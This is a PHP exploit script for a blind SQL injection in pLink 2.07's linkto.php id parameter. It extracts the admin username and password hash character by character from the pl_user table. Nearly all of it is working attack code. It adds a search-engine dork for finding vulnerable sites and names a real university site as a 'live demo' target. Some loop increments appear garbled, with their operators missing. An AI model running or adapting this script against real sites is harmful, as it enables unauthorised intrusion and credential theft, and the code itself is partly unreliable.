pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit

<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
# pLink 2.07 - Blind SQL Injection Exploit
#
# Vulnerability discovered by: Stack
# Exploit coded by: Stack
# Greetz to: All My Freind
#
###############################################################
#
# Dork: intext:"pLink 2.07"
# Admin Panel: [Target]/link/
# Usage: php '.$argv[0].' [Target] [Userid]
# Example for http://www.site.com/link/linkto.php?id=[Real id] 2
# => php '.$argv[0].' http://www.site.com/link/linkto.php?id=128 2
# Live Demo :
# http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2
#
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url." and 1=1/*"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url." and 1=0/*"));
$t = abs((100-($w/$r*100)));
echo "Password: ";
for ($j = 1; $j <= 32; $j ) {
for ($i = 46; $i <= 102; $i=$i 2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url." and ascii(substring((select pwd from pl_user where id=".$userid." limit 0,1),".$j.",1))>".$i."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url." and ascii(substring((select pwd from pl_user where id=".$userid." limit 0,1),".$j.",1))>".($i-1)."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
echo "\nUsername: ";
for ($i=1; $i <= 30; $i ) {
$laenge = strlen(file_get_contents($url." and ascii(substring((select username from pl_user where id=".$userid." limit 0,1),".$i.",1))!=0/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j ) {
for ($i = 46; $i <= 122; $i=$i 2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url." and ascii(substring((select username from pl_user where id=".$userid." limit 0,1),".$j.",1))>".$i."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url." and ascii(substring((select username from pl_user where id=".$userid." limit 0,1),".$j.",1))>".($i-1)."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>